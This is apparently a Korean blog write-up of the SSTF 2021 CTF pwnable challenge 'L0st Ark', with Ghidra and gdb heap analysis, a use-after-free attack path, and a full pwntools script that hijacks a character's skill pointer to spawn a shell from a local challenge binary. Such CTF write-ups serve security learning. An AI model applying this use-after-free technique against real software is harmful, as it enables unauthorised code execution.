Pwnable
SSTF 2021 - L0st Ark
Rasser
2021. 8. 31. 23:42
2021년 SSTF CTF 문제이다.

우선 기드라로 보면 create()함수에서 1,2,3은 정상적으로 메뉴에서 출력하는 부분이지만 7을 입력했을때 Lupeon이라는 부분을 실행한다

이 Lupeon 부분을 보면 마지막쪽에 gift라는 부분을 인자로 전달함을 알 수 있다.

이 gift는 쉘을 실행ㅎ시키는 함수이다. 이 gift를 실행시키면 될거 같다.

우선 Lupeon 다음 부분에 bp를 걸고 보자.
0x555555570ea0: 0x0000000000000000 0x0000000000000061
0x555555570eb0: 0x000055555555db68 0x0000555555570ec8
0x555555570ec0: 0x0000000000000006 0x00006e6f6570754c # len("Lupeon") "Lupeon"
0x555555570ed0: 0x0000000000000000 0x0000555555570ee8
0x555555570ee0: 0x0000000000000007 0x006c616963657053 # len("special") "special"
0x555555570ef0: 0x0000000000000000 0x0000555555557afe # gift addr(7afe)
0x555555570f00: 0x0000000000000000 0x000000000000f101
0x555555570f10: 0x0000000000000000 0x0000000000000000
0x555555570f20: 0x0000000000000000 0x0000000000000000
0x555555570f30: 0x0000000000000000 0x0000000000000000
구조를 보면 다음과 같다.
그럼 Lupeon이 아닌 Reaper를 선택했을때의 메모리 구조를 보자
0x555555570ea0: 0x0000000000000000 0x0000000000000061
0x555555570eb0: 0x000055555555dbf8 0x0000555555570ec8
0x555555570ec0: 0x0000000000000008 0x4141414141414141 # name
0x555555570ed0: 0x0000000000000000 0x0000555555570ee8
0x555555570ee0: 0x0000000000000006 0x0000726570616552 # string
0x555555570ef0: 0x0000000000000000 0x0000000000000000
0x555555570f00: 0x0000000000000000 0x0000000000000021
0x555555570f10: 0x0000555555570eb0 0x0000000000000000
0x555555570f20: 0x0000000000000000 0x000000000000f0e1
0x555555570f30: 0x0000000000000000 0x0000000000000000
다음 메뉴에서 set skill을 한 후 상황이다.

0x555555570ea0: 0x0000000000000000 0x0000000000000061
0x555555570eb0: 0x000055555555dbf8 0x0000555555570ec8
0x555555570ec0: 0x0000000000000008 0x4141414141414141
0x555555570ed0: 0x0000000000000000 0x0000555555570ee8
0x555555570ee0: 0x0000000000000006 0x0000726570616552
0x555555570ef0: 0x0000000000000000 0x00005555555574f0 # skill addr
0x555555570f00: 0x0000000000000000 0x0000000000000021
0x555555570f10: 0x0000555555570eb0 0x0000000000000000
0x555555570f20: 0x0000000000000000 0x000000000000f0e1
그럼 저 skill addr 부분을 실행시키면 될것이다.
공격 벡터
1. create에서 7을 입력하여 히든 캐릭터(Lupeon)을 생성
2. destory에서 히든 캐릭터를 파괴(해제) -> UAF 버그 발생
3. create에서 1을 입력하여 reaper 캐릭터 생성
4. 메뉴에서 4를 선택하여 reaper 캐릭터를 선택
5. 6을 입력하여 reaper의 스킬을 실행(실제로는 gift를 실행함)

PAYLOAD
from pwn import *
p = process('./a.out')
def create(index, name):
p.sendlineafter(b'pick: ', b'1')
p.sendlineafter(b'pick: ', str(index))
p.sendlineafter(b'name: ', name)
def hidden():
p.sendlineafter(b'pick: ', b'1')
p.sendlineafter(b'pick: ', b'7')
def delete(index):
p.sendlineafter(b'pick: ', b'2')
p.sendlineafter(b'pick: ', str(index))
def choose(index):
p.sendlineafter(b'pick: ', b'4')
p.sendlineafter(b'pick: ', str(index))
def useskill():
p.sendlineafter(b'pick: ', b'6')
hidden()
delete(0)
create(1, b"A")
choose(0)
useskill()
p.interactive()